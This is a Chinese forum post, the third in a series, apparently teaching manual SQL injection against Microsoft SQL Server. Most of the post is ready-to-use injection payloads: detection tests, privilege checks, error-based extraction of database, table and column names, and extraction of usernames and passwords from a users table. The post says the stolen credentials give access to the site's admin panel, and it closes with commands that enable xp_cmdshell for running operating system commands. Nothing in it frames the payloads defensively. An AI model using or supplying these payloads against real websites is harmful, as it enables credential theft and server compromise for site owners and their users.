无名商城论坛

搜索
查看: 510|回复: 0

[其他技术] sql注入第三篇-mssql手工注入详解视频教程

[复制链接]

1万

主题

1万

帖子

3万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
32464
发表于 2022-5-8 18:15:50 | 显示全部楼层 |阅读模式
#sql注入第一篇(介绍篇)-视频详解#
#SQL注入第二篇-Access数据库手工注入#
mssql手工注入
检测注入点
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】
and 1=1--
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】
and 1=2--

判断数据库类型
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】
union select from users where id=1 and exists(select from sysobjects)--
and (select count(*) from sysobjects)>0 返回正常说明是mssql数据库
1433端口一般为mssql数据库开放端口

注入点权限的判断(根据页面显示效果)
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】
and (select IS_SRVROLEMEMBER('sysadmin'))>0-- 判断是否为sa权限 页面正常显示便为sa权限
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】
and (select IS_SRVROLEMEMBER('public'))>0-- 有返回结果说明当前用户为public权限 一般来说有这个权限也看见可以进行暴库 爆表 爆字段了

判断当前用户的文件读写权限
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】
and (select IS_SRVROLEMEMBER('db_owner'))>0-- 没有返回结果便说明没有文件的读写权限

获取该网站信息
and 1=(select @@version) 查看版本信息
and 1=(select db_name()) 获取当前数据库
and User_Name()>0 获取当前用户名

爆库名
and 1=(select name from master.dbo.sysdatabases where dbid=1) 暴库名DBID为1,2,3....
暴库名后面依次类推......

爆表名
and (select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0)>0 指定数据库爆表

and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0)=1 获取第一个表名

and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('emails'))=1 获取第二个表

后面依次类推.......
爆字段
and (select top 1 column_name from test.information_schema.columns where table_name='users')=1 指定users表 获取第一个字段

and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))=1 指定users表 获取第二个字段

后面依次类推.......

获取字段数据
and (select top 1 username from users)=1 获取username的内容
and (select top 1 password from users)=1 获取password的内容
得到账号密码后 在后台登录地址登录就ok了

mssql手工注入之xp_cmdshell
查看xp_cmdshell是否开启
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell' 返回正常说明开启

开启xp_cmdshell
; EXEC  sp_configure  'show advanced options', 1; RECONFIGURE  WITH  OVERRIDE;  EXEC sp_configure  'xp_cmdshell', 1; RECONFIGURE  WITH  OVERRIDE;

内容不够写了 有笔记需要的自己点链接复制吧
视频教程直接划到文章最底下点在线观看就OK了
链接:
本帖隐藏的内容需要【资源会员】才可浏览,您需要升级才可浏览,点击这里升级【资源会员】

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表